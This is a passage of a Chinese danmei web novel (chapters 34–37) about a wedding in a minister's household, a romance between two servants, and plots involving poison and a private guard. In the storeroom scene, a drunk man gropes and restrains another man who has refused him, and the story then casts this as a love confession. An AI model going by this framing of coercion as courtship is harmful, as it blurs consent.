“若有千难万险之事,莫要忘了,你在京城并不是孤家寡人一个。”
陆宛醉得神志不清,却也知江守义是在明明白白替自己撑腰,泪眼婆娑地点了点头。
江守义还想同他说些什么,却被一位留着八字胡的官员搂过去,半推半拽地拉走了。
是了,还有那个留着八字胡的人……
陆宛在混沌中想起那人的身影,心中骤然升起一股寒意——那便是官人当日揭穿他身份时,疑心与陆家勾结的官员之一,太史令,王仪。
若不是他在襄州休养时,曾派阿生暗中调查过此人,还取回了他的画像,他万万想不到此人竟会出现在他大婚的席面之上……可他怎么敢出现在梁家?他不是……梁家的仇敌么?
陆宛越想越觉得不对,心中的疑团顺着这根麻线越滚越粗。
——王仪同梁家,究竟结下了什么梁子?给梁蕴品下迷药又是在图谋些什么?大相公和夫人,又缘何会给害了自己儿子的人递帖子?
陆宛越想越觉得头疼,恍惚间,他听见房中那位碎嘴公子从他身旁走过,朝太史令的方向高喊一声“叔叔”,又见那八字胡转身,笑着回应——“青松,快来拜见你江伯伯!”
陆宛扶了扶额,脚下一个不稳,被梁蕴品牢牢拥在怀中。
“去把少夫人扶入婚房,我随后就来。”
这是陆宛在婚房中被摆弄着苏醒前,记起的最后一句话。
34. 34.一生
宴席已歇,梁府的宾客正陆续散去,但洞房花烛夜才刚刚开始。
张灯结彩的婚院外,阿生正硬着头皮,面朝一众家仆,履行本应属于一心的职责。
“方才的话,诸位都听清了吗?”
阿生看着众人黑黢黢的脸色,心中把一心翻来覆去骂了数百遍,强耐着性子道,“不打紧,若诸位还需要一些时日接受,那便请先谨记第一条——入夜后,除了沙卓兄弟的府卫和陆府陪嫁来的仆奴,任何人入院都需经由我或一心的同意。”
“违令者,逐出梁府,永不复用。”
“……”又是一片沉默过后,终于有稀稀拉拉的应和声响起,“明白了。”
阿生心累不已。
他知晓这样的命令下去,势必会造成梁家家奴的不满,但事有轻重缓急,为了他家少爷的秘密,暂时也只能如此了。
还好,不日他们就要启程回襄州了。
他抬头看了眼天色,不愿同这群人纠缠过多,“那今夜便先散了吧,守夜的留在院外,亭子里已经备了棉被、热水和厚衣裳。诸位都辛苦了,早些休息吧。”
说完不等众人反应,转身就走,只留给众人一个形单影只的脊背。
“切,果真是有什么样的主子就有什么样的奴仆。”
一个面容姣好的女使绞着袖口,咬牙切齿埋怨,“这男妻才登堂入室,便如此苛待我们……往后走着瞧吧,鸡不会下蛋,就只有待宰的份!”
“你嘀嘀咕咕的说什么呢?”
站在她身侧的梁府二等女使翠儿怒斥一声,瞧着没旁人听见,才压下火苦苦劝导道,“往后这些话可不能再说了。少夫人既已嫁过来,咱们院的事便是他说了算,任你是夫人院里长起来的女使也得听他的,别忘了自己的本分!”
“嗯,知道了翠儿姐。”
那女使表面附和,心中却憋着一团火:嫁过来是嫁过来,得不得宠,能得宠多久,还且看呢!
……
秋风将细碎的闲话通通拨到后头,吹得阿生神清气爽,终于恢复了些许元气。
他自入陆府便是陆宛的贴身奴仆,陆府上下皆有陆夫人打理,无需他操心半分,从未干过如此累心的活儿。
可这活儿本也不该由他来做,沙卓也好一心也好,总比他这个“外人”更能叫梁府的家仆信服。
但这俩人一个赛一个的不着调……沙卓也就算了,今日人多,他负责通府的守卫调配,俨然是忙不过来,可一心又是怎么回事?替大人挡了两杯酒就不见人影了,难不成他敢抛下主子,独自一人歇息去了?
阿生越想越气,原想先回房中洗把脸再去守夜,可气着气着就走到了小厨房外的偏院,肚子也十分不争气地发出了“咕——”一声长响。
啧,今夜净顾着照料少夫人,忘记用饭了。
想到这,他一回身登上台阶,顺着偏院的长廊朝小厨房走去。
小厨房外的长廊缀着好几个里间,一间大的是奴仆们轮流进食的膳堂,两间是柴房,还有数间用途不明,看上去像是暂时空置着。
阿生目不斜视地一路走过去,他轻功了得,走路像只猫一般悄然无声,边走心中还边盘算着若没有剩余食材该如何是好,脚步越发急促。
行至离厨房最近的一个柴房门前,阿生顿住脚,伸手便要推门取柴,忽觉手上一空——门竟然自己打开了。
紧接着,一只温热的大手攫住他伶仃的细腕,趁其不备将他一把扯了进去!
“谁!”
阿生万万没想到,这样毫不起眼的角落居然藏了个毛贼,还是个身手不凡的毛贼!
沙卓到底干的什么活计?看他明日不告上一状,让少夫人把他这个月的月钱都给扣光!
还好他身上的功夫也不是花拳绣腿,被扯进门后便回身一绕,甩开了那毛贼擒住他的手,但那贼回手掏的速度极快,见一擒不成便直探他腰间,他眸光一凝,一脚横踢过去,勾起拳头便直冲那毛贼面门!
“报上名来,我给你一个痛快!”
“呵——”
那毛贼嗤笑一声,侧身躲过他的拳风,顺势绕后偷袭他侧颈,被阿生一拨手挡掉,旋身拉开距离,心道不妙——
此人的身手极高,甚至与沙卓不相上下,绝非寻常鼠辈可比。
他眸色一沉,心中却隐隐有些激动,一股胜负欲莫名奇妙燃了起来。
“好汉既不肯接受我的提议——那便别怪我不客气了!”
话音未落,阿生双手一捏,使出苦练许久的杀招,在黑不隆冬的柴房中与那人搏斗起来,但那人似乎转了性子,不再与阿生正面硬碰,而是像逗猫一般避来躲去,四两拨千斤般化解了阿生的招数,还能腾出手来东一摸西一碰地接连偷袭,直叫阿生应接不暇,连连丢盔弃甲,腰带都被扯松了。
“嘶——你做什么!”
几个来回后,二人各占一角对峙,阿生目眦欲裂,气喘吁吁。
他本就不擅长与人缠斗,且在如此狭窄的柴房内,他最擅长的轻功亦被死死克制,对上这样的高手简直毫无胜算。
更何况此人……出招皆往下三滥的地方走,哪里是想正经打架,分明是在借机占自己的便宜!
难不成他想错了?此人不是汪洋大盗,而是采花大盗?
该不会是听说梁府少夫人貌若天仙,特意来此处踩点的吧!
想到这,他目光一沉,悠悠开口,“好汉身手不凡,是哪条道上的?”
黑夜掩盖了那人的面容,但阿生却莫名觉得——他在笑。
他深吸一口凉气,堪堪平复住心情,又道,“你应当知道,这里是梁相府邸,若我大叫一声,便会有无数府卫前来,将你团团围住。”
“届时,好汉便是想要留个全尸,怕也是不能了。”
阿生不动声色地向前一步,想要变换角度,借着小窗外微弱的月色看清来人的面容,却始终不得成功,连一片衣角都未能看清。
见那人依旧笑而不答,他耐下性子,尝试劝说道,“如今天色已晚,我也乏了。不若这样,我放好汉一条生路,好汉也让我得一夜安枕。待日后有缘交手,我再向你请教请教,如何?”
那毛贼一动不动,却再次从鼻腔中发出一声嗤笑,莫名叫阿生寻出一丝熟稔感。
“你……”
不等阿生说话,那人竟突然出手,直捣阿生下腹!<
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p>阿生一惊,顾不上自己的腰带被他勾住,抬脚便朝那人面门飞去,同时张口大喊,“来人,柴房唔唔唔唔——”
“我靠,你还真叫人啊!”
那人用力一拽,回身一压,将阿生连人带腿摁到了身后的墙上,他一手捂住阿生的嘴,一手按住阿生高高抬起的腿腹,叫阿生大腿骤然一酸,眼泪霎时飙了出来!
“你唔唔唔——放唔唔!”
那毛贼听见阿生气急败坏的呜咽声,并未生出丝毫怯意,反而更亢奋地往前压了压,他用那只捂住阿生嘴的手肘向上一抵,正好抵住阿生高抬的膝窝,腾出的那只手准而快地向下,攫住了阿生没精打采的地方。
“唔——唔唔!!”
阿生陡然瞪大了瞳孔。
“这么小……”
那人的嗓音十分喑哑,哑得不像他寻常听过的任何一个声音,可不知为何,他的笑,他说话的语调,都叫阿生觉得莫名熟悉。
可眼下阿生根本无暇思考,他又臊又慌,对身体隐疾暴露的恐惧胜过了一切,几乎是用恳求的目光看着那人。
——但没用,太黑了,谁也瞧不见谁。
那人揉了揉,似乎想唤醒那还在沉睡的小东西,却不见任何反应,那人“咦”了一声,十分困惑地自言自语道,“难道是太怕我了?”
就在这时,阿生伸出舌头,舔了舔那人燥热的掌心。
那人浑身一僵,脑仁一麻。
“操——”
他松开手,用滚烫的嘴唇狠狠堵上阿生的唇,狠狠亲吻起来。
“……”
阿生本想阻止那人的手继续探索,他被那只不安分的手揉得心痒,却无从发泄,竟在这一室昏暗中凭着那抹熟悉感生出一股畸形的冲动。
可这股冲动是错误的,他不想要,只想停止这场闹剧,于是做了一个错误的举动,引燃了一片本就蠢蠢欲动的燎原之火。
那人的唇舌是烫的,酒气混合热气,将他理智烧了个殆尽,于是他主动迎合,卷入这狂欢的浪潮。
他脑海中隐约浮现出一个人影,那人笑得又天真又邪性,一颗赤子之心炽烈昂然,即便是面对千年寒冰也依旧无畏地烘着,似乎没有什么能叫他退却半步,消磨半分。
涎水交缠,湿润的吻声充斥着这鸽笼般的一隅,惊动了窗外歇息的灰雀,阿生被染着酒香的吻灌得迷迷糊糊,丝毫未察觉那只燥热的手仍未从那危险至极的位置取出。
那只手只安分了片刻,便随着亲吻的动作小心揉了揉,可它面前的小物似乎沉眠已久,任他如何刺激都没有苏醒的意思。
那手顿了顿,不服气似的继续往后探索,却并未摸到想摸的物件。倏忽,阿生浑身一抖,似一桶冰水兜头淋下。
不,不要……别碰!
他狠狠咬了那人的舌尖一口,只听得一声闷哼,二人距离骤然拉开。
“嘶……啊,痛痛痛痛痛……”
那人捧着满嘴的血,借着幽暗的月色看阿生缓缓放下腿,站直,似一棵被掰弯又强行扶正的青松。
“如你所见,我是个太监。”
阿生声音淡漠,却隐隐渗出一丝悲哀,“闹够了吗?一心?”
35. 35.颠鸾
眼前的“毛贼”还含着肿胀的舌头,发出“嘶哈嘶哈”的抽气声,却被这两句话实实在在地震慑住,动也不敢动了。
阿生凝着眸与他沉默对峙,片刻,他拧身要走,却被那人一把扯住胳膊,步子一滞。
一心疾步闪身,恨不得使出轻功挡在阿生身前,口齿不清地念叨着,“对不住,对不住对不住……”
他似是才清醒过来,内疚与羞愧一同涌上他混沌的脑子。
“我喝大了,只想找个没人的地儿醒醒酒,却不料你过来了……”他垂头丧气,痛得发麻的舌尖叫他说话都十分艰难,“我只想同你开个玩笑,玩着玩着就……我也不知道自己是怎么了……”
“对不住,阿生,你揍我吧……揍我一顿,然后原谅我,行么?”
说着便扯住阿生的手往自己脸上掼,却被阿生挡掉,冷冰冰一口回绝,“我不想与你纠缠不清,让开。”
“别啊,什么纠缠什么不清……”一心急了眼,大着舌头嚷嚷,“咱俩还没开始纠缠呢!”
见阿生不答,他醉意上头,左看右看不知如何是好,情急之下竟从腰间抽出自己的短剑,打横了往前一递。
“来,你若是心里不痛快,便捅我两剑!不……捅几剑都行,别杀了我就好!”
一心将剑柄朝前,十分强硬地怼进阿生手中,碎碎道,“你若杀了我,我就没法见你了,少爷会伤心,少夫人也会左右为难……呐,你动手吧!”
“……”
阿生像瞧傻子一般瞧着眼前人,朦胧的月色在地上勾勒出那人模糊的轮廓,不知是幻觉还是怎么,他竟觉得这轮廓在此刻有些瑟缩。
他握了握手中冰冷的刀柄,一动不动地瞧着那道影子,周身怒火渐渐沉钝下来。
须臾,他将短剑一扔,砸在那道影子上发出“铛啷”一声脆响。
“让开。”
他冷冷道,“今夜之事你若敢说出去,我便让你同我一样,从此不能人道。”
说着拔腿便走,却被一心一把搂住肩膀,后退数步后再次困于墙边。
“你——”阿生简直疲惫不堪,挣扎数下后狠狠捶向他胸膛,“你还有完没完!”
“没完!”
一心色厉内荏,吼了一声后便不敢装腔作势,只将脑袋压得很深,微微屈腿才能埋进阿生嶙峋的肩窝,“我喝醉了,阿生,我好难受,你让我抱一会儿缓缓……”
“……”
阿生气极反笑,又硬推了两下,还是没能推开。
“你能打能跳,还能使这么大劲锁住我……你管这叫醉了?”
“我就是醉了。”一心一口咬定,“我得了病,心病!每次见到你都跟喝醉了似的,晕乎乎的就知道傻笑,笑得嘴角都裂了……你,你难道,不该对我负点责任吗?”
说完,一心愣了愣,似乎也意识到自己蛮不讲理,像个讨不到糖便满地打滚的婴童。
然而眼下并不是讲理的时候,话既出口,他索性趁酒意上头破罐子破摔,小心翼翼道出埋藏已久的心事,“除非,除非你答应我,同我在一块儿……这病,这病才,才能好全……”
“……你说什么?”
薄如蝉翼的窗户纸就这么被捅破,叫阿生陡然有些怔愣。他明知故问,“你说清楚,什么叫……在一块?”
“啧,你别装傻!就是,就是像我家少爷和你家少爷那般……相依为命,同气连枝,共结连理!”
一心脸皮向来厚实,但这一溜儿说下来也不免觉得脸热,于是蹭了蹭阿生的锁骨,将热得熏人的气息喷在阿生纤薄的皮肤上。
“你就答应我,给我治治病吧……行么?”
阿生滑了滑喉咙,似乎仍不敢相信自己的耳朵,他撇开眼,不叫那人的颅顶在自己眼前晃悠,十分僵硬地反问,“凭什么?”
“我凭什么要对你负责……给你治病?”
“凭,什,么?就,就凭……”
一心确实醉得不轻,平日里转得飞快的脑轴子如今死活转不动了。
情急之下,他倏忽想起那日与沙卓交换消息,沙卓十分善解人意地“送”了他一个消息——一个关于阿生的秘密。
“就凭你把我送你的药瓶子穿了孔挂在身上,用完了还舍不得扔。”
他诺诺道出这个秘密,还迅速补了句,“我可没动你的东西啊!是你忙着收拾回杭州的物件,把瓶子一不小心落在院子里,被沙卓的人拾去了……”
“……”
阿生摸了摸空空如也的腰间,这才想起自己为了少爷的婚事多日劳碌,连随身物件丢了都没发觉。
一心缓缓抬起身,自上而下打量着阿生一寸一寸龟裂的神情,忍不住抬起手,抚了抚阿生的侧颜。
“阿生,你心中也是有我的,对吧。”
他说得既小心翼翼,又笃定异常,叫阿生心中遽然生出一股奇怪的心绪——他好似,真的十分珍惜我。
“怎么样?别不说话啊……”一心又捏了捏阿生的耳垂,嘴角泛起一个苦笑,“快从了我吧……或者说——收了我?”
“呵——”
阿生从喉间挤出一声无奈的笑,偏了偏头躲开一心的手,声音低沉且冷淡,“你想清楚了,我可是个太监……没根的东西,你也要?”
一心指尖一凉,怔愣不过片刻,随后竟忍俊不禁起来。
“不是,你有没有那东西,跟我喜欢你有什么关系?”
阿生倏地回过眼,与一心炯炯发亮的眸子在黑暗中隔空相望。
“你是男是女,是神仙也好妖魔也罢,”一心一字一句,铮铮有力,“我就要你,我只喜欢你,从见你
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的第一面便喜欢上了。”
阿生眸光微动,“……怎么可能?”
“真的!我没说大话!我第一回见你就……就觉得你好看。”
一心回想起二人初见那日,阿生亦步亦趋跟在陆宛身后,眼神坚定而凛冽,像一只漂亮威风又忠心不二的小犬。
“少夫人当初在清风阁里述说你为他做的一切,我还在想,即便过了那晚,你们离开了……我应当也是会去寻你的。”
一心说着,有些不好意思地摸了摸鼻尖,“但你别误会,我那时没想那么多,只觉得你过得太苦了。说是仆奴,但遇上这么个病秧子少爷,除了伺候他汤药还得挣银子养家,还生了病……我只想帮帮你们。”
“不料峰回路转,少爷居然把公子带回来了,你也跟着入了府。”
一心嘴角不自觉漾起一抹幸福的笑,“虽说在府里,咱们只相处了不到一年,你和少夫人还藏着掖着,不愿以真面目示人……可我还是喜欢你,喜欢你忠心护主的模样,喜欢你做的饭!还喜欢……喜欢你吃云片糕时,舔嘴角的模样,喜欢你目空一切的笑,还喜欢你用看隔壁大黄的眼神看着我……”
“……停!别说了!”
阿生原本听得情动,悄默声红了眼,却在听到“大黄”时如鲠在喉,只得叹气苦笑,喃喃道,“我真是,我怎么会喜欢上这么一个蠢货……”
“你说什么?”
一心又凑近了些,醉意上头让他变得有些迟钝,耳力却不逊平常,“你说你喜欢上一个蠢货?”
“我就是那个蠢货,我听到了!”
“……”
阿生抬眸睨着一心,几番强忍还是没忍住,“扑哧”一声笑了出来。
“你笑了……”一心绽开一个憨实的笑颜,“你终于笑了!”
“笑了就代表你原谅我了,笑了就代表,你答应同我在一块了,对不对?是不是?”
“谁说唔——”
阿生的笑唇被一心精准捕捉,后半截话被一个激烈的吻遽然吞噬。
情潮猝不及防向他涌来,他闭上眼,无处可躲,被迫直面一心的,也是自己的欲望。
涎水声缓缓交织于一处,二人越贴越近……
【***】
……
半个时辰后。
一心提着裤子出了柴房,面露酱色,满眼写着迷茫,仓惶,难以置信……
他几乎是逃也似的离开了偏院。
阿生则净了手,听一心离开后才款款现身,同仰躺在斜上角屋顶上的沙卓遥遥打了个照面。
“见死不救?”
阿生心知沙卓在他呼救时便已赶到,他歪了歪头,露出鄙夷的神色。
沙卓没吭声,待阿生走出许久才默默吐出一句——
“不,是成人之美。”
36. 36.筹谋
“我的病情便是如此,不知是蛊是毒,亦不知何时发作,何时清醒。”
梁蕴品端起案上一盏莲子茶,抿了口悠悠道,“若不是阿宛,那日我要么犯了上忌,害了无辜的女子,要么血溅三尺,暴毙而亡。”
“……属下明白了。”
沙卓终于从梁蕴品口中得知了他的病情,却惊晓大相公的担忧竟早早成了真——当真有人在背后兴风作浪,且梁蕴品早在他入府前便中了那人的阴招。
他垂下眼,想起那依旧不得而知的“天旨”,无力感和愤怒感交替着涌上心头,随之而来的是几分羞惭。
“如此说来,属下当真是误会了少夫人……”沙卓拱了拱手,“还望大人同少夫人不要同我计较,属下秉公办事,实非刻意针对。”
“过往之事早成云烟。同你说这些,不是要同你计较,而是叫你明白,你我主仆之间没有隔阂。”
梁蕴品又抿了口茶,“所以,你想知道什么,大可直接来问我,不必私下探听。”
沙卓一怔,头重重一垂,“是。”
他心知梁蕴品定是知晓了他与一心在沁荷居外的“交易”,却不知是他昏迷间自己听见,还是一心主动“告密”,于是用余光斜了一心一眼。
可,一心这是在……发愣?
这般神思恍惚,心事重重的模样……莫不是还在回味那夜之事?
沙卓垂着头,在无人可见处耸了耸眉峰——那夜他赶到小厨房外,听见二人的声音便刻意收拢耳力,不欲插手他人的爱恨纠葛,却也还是听到了些许动静。
那事儿当真叫人如此食髓知味,以致一心这么多天都缓不过神?
可他也,没弄多久啊……
至少阿生没似少夫人那般,大婚后一日没下床,连给大相公和夫人请安都是隔日才去,大人还差点被夫人罚跪了祠堂。
“我的处境,能说的该说的,皆已全盘告知。”
梁蕴品放下茶盏,眼帘一撩,正色道,“现下有几件事迫在眉睫,需要你二人助我一臂之力。”
沙卓回过神,“大人请说。”
“据蕴识的人所报,叛徒一辉乔装成定真人,随定真商队入了汴都,甫一入城便不知所踪。”梁蕴品看向沙卓,“我需要你的人同蕴识的人配合,在汴都暗中搜寻一辉的踪迹。”
“是。”沙卓点头,“可若他以命相抗,那弟兄们应当……”
“要留活口。”梁蕴品面色一沉,“我身上的毒,连姬大夫看了都束手无策。眼下除了幕后黑手,也只有他的嘴能被撬开。”
说着,他狭长的眸中现出一抹狠厉之色,“且你放心,以我对他的了解,他绝不会‘以命相抗’。”
沙卓面露惑色。
“呵,他之所以乔装打扮东躲西藏,不就是为了活命。”
梁蕴品用指节轻叩木案,蔑然一哂,“若他识时务,落入我手尚有一线生机,可若落入另一队人马之手——必死无疑。”
“所以你还有第二个任务。”
梁蕴品抬起头,对上沙卓的目光,“暗中查出跟踪一辉,想对他下手的人是谁。”
沙卓下意识点头,微一盘算后又皱了皱眉,“大人,暗中查访不难,但属下手中恐怕……没那么多人手。”
他献出一计,“不若将此事与大相公合计,让梁府府卫助我们……”
“不可。”
梁蕴品决然拒绝,“若让父亲知晓我身中奇毒,定会令我致仕回府,不叫那人有再对我下手的机会。可我不能永远躲在父亲的羽翼下,被动地等着那人来害我,甚至害我的兄弟们。”
“与其当个明处的箭靶子,倒不如先发制人,顺着线索剪去他的羽翼,一点一点逼他现身。”
他蹙着眉,眸光却异常笃定,“螳螂捕蝉,黄雀在后。他以为他是黄雀,可我梁蕴品也不是那坐以待毙的蝉!”
沙卓眸光一凝,“大人的意思是——”
“我要你为梁家,为我,培养一支高手如云的府卫队。”
梁蕴品定定看向沙卓,目光在对撞的一刻迸出锃亮的光。
“这队人马不论出身,只论身手,胆识与忠诚,一经起用,终身为我梁家所养。”
梁蕴品似是思虑已久,纵横谋划娓娓道来,“第一拨就养在襄州的白头庄里,那儿的庄头是我新换上的人,整个庄子蒙阿宛的恩才过上好日子,对我二人极为忠心。那儿足够安全,也足够隐蔽。”
“另外,这些人不仅会些拳脚,更要识得些江湖门道。”梁蕴品狭长的眸光一睨,“眼观六路,耳听八方,当初父亲要求你们学的,他们都得会。”
沙卓微吸一口冷气,他清楚梁蕴品此话背后深意——
正如梁相当初为了四个儿子的安危培养了他们,梁蕴品为了自由,为了整个梁家,宁冒天下之大不韪也要豢养一支私兵,一支只听令于梁家,可攻可守,可进可退的精锐!
他是要锻造一把趁手的大刀,挥舞着砍向那些对梁家虎视眈眈的鼠辈!
沙卓一时热血上头,既为自己肩上重担隐隐兴奋,又为梁蕴品交托身家生命的信任感到耳热。
他抿了抿唇,单膝跪地,拱手立誓,“属下定不负大人所托,誓要练出一把好刀,替大人分忧!”
“好,快起来罢~”
梁蕴品眉眼一松,渐渐平复至昔日君子端方的模样,下堂将沙卓搀起。
二人直起腰,他背过手,缓缓道,“那幕后之人频繁出手,已留下多处马脚,但现下我们人手不足,你且先紧着我交代你的去做,其余的事,等白头庄的队伍练成,便可一件一件,逐个击破。”
“是!”
梁蕴品又看向一心,“至于你……你这几日到底是怎么回事?”
“嗯?”
一心仿佛魂游四海,灵识堪堪归体,懵懂地抬起头,目光在梁蕴品和沙卓身上打了个转,“大人同沙卓……说好了?”
“我们说什么了?”
“……”
一心哑口无言,心中直喊“救命”,耳根子“嘭”一下涨的通红。
他挠了挠后脑勺,讪笑道,“呃……方才您二人在说话,小的见暂时没事,就,就神游了一小会儿…… ”
“神游?”梁蕴品转身落座,老神在在地捧起茶盏,“只怕你是身在曹营心在汉,不想伺候我这个事儿多的主子,想换个地儿待了。”
“不,不不不……”一心顿时警铃大作,“大人,我知道错了,我不该将心思放到别处的……我,我保证不这样了!”
说着还急得上前两步,垂着眼角可怜兮兮地看着梁蕴品,“您别赶我走啊……我六岁就跟着您了,您就是我天底下最亲的人!您不要我,我上哪儿呆着去啊……”
“呵。”
梁蕴品刮了刮茶沫子,唇角勾起一个促狭的弧度,半是敲打半是劝诫道,“我不知在我大婚那晚,你同何人在何处发生了什么,但你若遇上无法自断之事,大可同我说道,而不是差当不好,话也听不清,成天魂不守舍。”
“你若继续如此,倒不如留在梁府当个守院,届时想神游多久便神游多久。”
一心一听,眼泪都快飙出来了,“我……我没事!我能自断!我能处理好的……少爷您别赶我走,我不想当守院,我还要贴身伺候您,保护您呢……”
梁蕴品嗤笑一声,无奈地摇了摇头,又放下茶盏,支着双膝道,“贴身伺候是指望不上你了。”
一心眼睛一瞪,正要发作,又听梁蕴品续道,“但有件事,你得替我去办。”
“噢,有事啊……”
他长长舒了口气,抬手平了平胸口,自顾自傻笑起来,“有事好啊!大人还用得着小的就行~小的愿效犬马之劳,任凭大人吩咐!”
“……油嘴滑舌。”
梁蕴品睨了他一眼,凝神道,“在杭州提亲之时,姬大夫替我把脉,所言与湖州那位名医相差无几。”
“但姬大夫为了阿宛,曾苦心钻研疑难杂症,她提出若以高岭一带的冰川雪草作引,辅以一十八味珍贵药材熬成一碗‘冰销云解汤’,或能压制我体内毒性,使其不会因七情六欲而轻易发作。”
“有这回事?”一心喜出望外,“那大人即便毒发,是不是也不会再侵入心脉,累及性命?”
梁蕴品摇了摇头,“姬大夫说,此毒极为罕见,即便是冰销云解汤也只能暂时压下,非长久之计。”
“若要彻底化解此毒,还需知晓制毒的方子才
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是。”
“啊,折腾半天,还是得寻着那幕后元凶……”
一心脸色拉了下来,愤愤道,“一辉那小子真是个白眼狼!若是被我逮住,瞧我不扒了他一层皮!”
“逮住一辉是沙卓的任务。”梁蕴品正色吩咐一心,“眼下你有更重要的事去做。”
“姬大夫为了替我解毒,不辞劳苦赶赴高岭一带为我寻药,连我二人的婚宴都没赶上。”梁蕴品道,“如今大事已了,我要你亲自去接应姬大夫,将冰川雪草带回襄州。”
“呃……我去?”
“怎么,你不愿意?”梁蕴品挑了挑眉,“姬大夫前日传信来府,说已然找到了几株上好的冰川雪草,但其生长之地苦寒无比,地势又极为险峻,我派去的府卫只能护姬大夫周全,轻功却算不上好。”
“而沙卓有多重要务在身,故而只能你去。”
啧,轻功好……阿生轻功不比他好?
一心张了张嘴,又闭上了。
这个念头只在他脑中存活了一瞬,下一瞬他便开始唾骂自己心狠——高岭下临无际,冰天雪地,哪里是阿生该去的地方。
可他若去了,便有好些日子见不到阿生了……
“那……那好吧,小的遵命。”
一心依旧贼心不死,试图做最后的挣扎,“可您方才说沙卓身负要务,必定不能随侍左右,而小的又去了高岭,少爷您身边岂不是……”
“不必挂怀于我。”梁蕴品垂睫啖了口茶,“我已同蕴识商量过,他会将他的府卫沙牧借我一用,护送我同阿宛平安回到襄州。”
“沙牧?”一心想起这是沙卓同出一处的把兄弟,困惑道,“那二少爷自己岂不是——”
“蕴识携三弟四弟,给大嫂请安了。大嫂怎么一个人在这,大哥呢?”
“一家人无需多礼。官人应是在书房议事,我同母亲一早便出去了,这会儿也刚回府。二弟有事寻他?”
院外恰好传来梁蕴识同陆宛的交谈声,将一心的话头截住,梁蕴品嘴角一勾,不再理会一心的婆婆妈妈,起身出了房门。
“也没什么大事,就是听闻大哥大嫂不日便要出发,来给兄嫂送行。”梁蕴识笑道,抬手将沙牧召了出来,“顺便,来给大哥‘送’个人。”
“送人?”
陆宛看向那位面容冷峻的府卫,垂睫一想,道,“这位兄弟不是二弟的近身府卫么?何以要将他送给官人?”
“只是借来一用。”
梁蕴品温暖宽厚的手搭上陆宛的腰际,温雅的嗓音在他耳畔响起,“沙卓有要务在身,一心要去高岭一趟,我二人不日又要启程。故向二弟借一位得力干将,护送我们回襄州。”
“原来如此。”
陆宛抬眸含笑,眼中是止不住的柔情,“那官人可得好好谢谢二弟才是~二弟可是忍痛割爱,把如此得力的人交到咱们手中了。”
“二嫂见外了~”梁蕴识一笑,身上的儒雅之质展露无遗, “从来都是大哥护着我们,难得大哥向我借人,我还嫌一人不够,要叫他多借几人呢~”
“这不,三弟和四弟也带了礼物过来,要给大哥大嫂好好送行。”
说着将老三梁蕴思推了出来,“喏,你自己说,你要送大哥大嫂什么好东西?”
“呃……”
老三出门前才被二哥训了一通,现下也不敢造次,规规矩矩地将准备好的送行礼双手奉上,“大嫂,这是我给您做的礼物,您瞧瞧……喜不喜欢?”
不料刚说完就被梁蕴识踹了一脚,梁二笑眯眯地盯着老三的后脑勺,“再说一遍,谁做的?”
“哎哟二哥,您就饶了我吧!”
梁蕴思索性不装了,将盒子往陆宛手中一放,走到一旁就地一蹲,“我就是忘了准备,二哥打算把我怎么地?”
又偏过头,一脸不屑地小声嘀咕,“不就拿二哥点东西么?借花献佛又如何,二哥做这个不也是给二嫂玩儿……大嫂二嫂,不都是嫂子么!”
“……”
愣是陆宛教养再好,嘴角也不禁抽动了一下——他没听错的话,梁蕴思是偷了梁蕴识做给柳慕云的礼物,送给了他们?
这梁老三……怕是个比柳慕云更妙的妙人呐……
37. 37.归陆
梁蕴识似是知道自己这三弟的德行,颇为宠溺又无奈地摇了摇头,抬眸冲梁蕴品和陆宛一欠身。
“大哥大嫂勿听三弟胡说,这东西原是我做着玩的,不是要送给慕云的物件。只是我才疏学浅,这东西又极为精细,修正多次尚未臻于完美,让兄嫂见笑了。”
“这……”
陆宛还想推拒一番,却被梁蕴品捏了捏腰间的软肉,带着笑的气息打在他耳边,“你且打开看看吧,无需理会这皮猴子的话。”
又听他戏谑,“老二既然能让他送来,这东西便不是给柳公子的,否则任这猴子能飞天遁地,也不可能碰得这物件半分。”
“正是,正是。”
梁二腆笑着抬了抬手,“大嫂快打开盒子瞧瞧,看看中不中意?”
陆宛半推半就,掀起精致的小金锁打开了檀香味的木盒,其中红锦作垫,绸缎围边,中心躺着一只十分精致的铁雀儿,下方还卧着一根精钢淬炼的圆棍儿,看上去十分精巧别致。
“这是……”
陆宛从未见过这物件,一时竟无从下手。梁蕴品见状探过身,捏起那只铁雀儿上下打量一番,又捻起铁棍,放在铁雀儿身边来回试探。
那铁棍移到雀儿脚底,忽而被栩栩如生的鸟爪抓住了。
紧接着,那铁雀儿像活起来了一般,薄薄一层铁眼皮迅疾掀起,发出“锃”一声脆响,露出内里镶嵌着的,由七彩琉璃雕琢而成的两只假眼球。
“啊——”
陆宛情不自禁惊叹了一声,目光完全无法从这铁雀儿身上挪开。
他自诩打小走南闯北,多少好东西都过过眼,亦不得不折服于这铁雀的灵巧与精致——便是陆家产业中最顶尖的工匠,亦未必能做出这铁雀儿工艺的十之一二。
梁老二一直留心着兄嫂的动作,见他们已找到开启铁雀的“钥匙”,下意识抬头看了看天。
“巧了,应当就是现在。”
“什么——”
陆宛话音未落,便见那铁雀小嘴微张,模仿麻雀的腔调发出十分规整且有趣的“啾啾”声。
“啾,啾,啾……啾!”
“嗯……不多不少,正好六下。”
梁蕴识低头一笑,“看来,兄嫂的运气比我好~今日它竟准确无误报了时,也算是给我留了三分薄面。”
“这是——”
见二人露出惊异的目光,梁蕴识勾了勾唇,不再故弄玄虚。
“此物名为‘报时雀’。我少时入宫,对官家那一座西洋钟念念不忘,回府后便自己琢磨,弄出了这么个小玩意儿。”
他走上前,从梁蕴品手中接过铁雀,拨弄几下后亮出它腹中机关, “它能将一日十二时辰以雀鸣的形式报出,子时为一声,丑时两声,依此推算。”
说着,他笑容一赧,言语中透着些许失落,“只可惜我与西洋钟仅一面之缘,无从得知那其中奥妙,因而这铁雀儿时常失灵,不可尽信。”
他轻叹一声,“也罢,终归是些上不得台面的东西,能逗兄嫂一笑,也算是它的福分。”
“这铁雀……竟是仿照西洋钟表所制?”
陆宛豁然开朗,露出惊艳不已的神色,“二弟实在是太谦虚了,且不说你只看了西洋钟一眼便可制出此雀,单看这‘报时雀’的工艺,便足以叫人叹为观止,更遑论‘上不得台面’……该是我谢你割爱才是。”
“怎么,夫人也见过那西洋钟?”
梁蕴品微一挑眉,目光从陆宛头顶移走,幽幽投射到梁蕴识脸上,“我以为那是西洋使者的贡品,民间是轻易见不到的。”
“……”
梁蕴识被那道促狭的目光逼得后退数步,冲兄长默默露出一个无辜的笑。
陆宛不知梁蕴品正无声将其圈入领地,还抿唇一笑,细声回应, “陆家有些门路,我少时……瞒着爹爹偷溜进满载贡品的船只,有幸见过此物。”
“呵……嗯,确实是个好东西。”
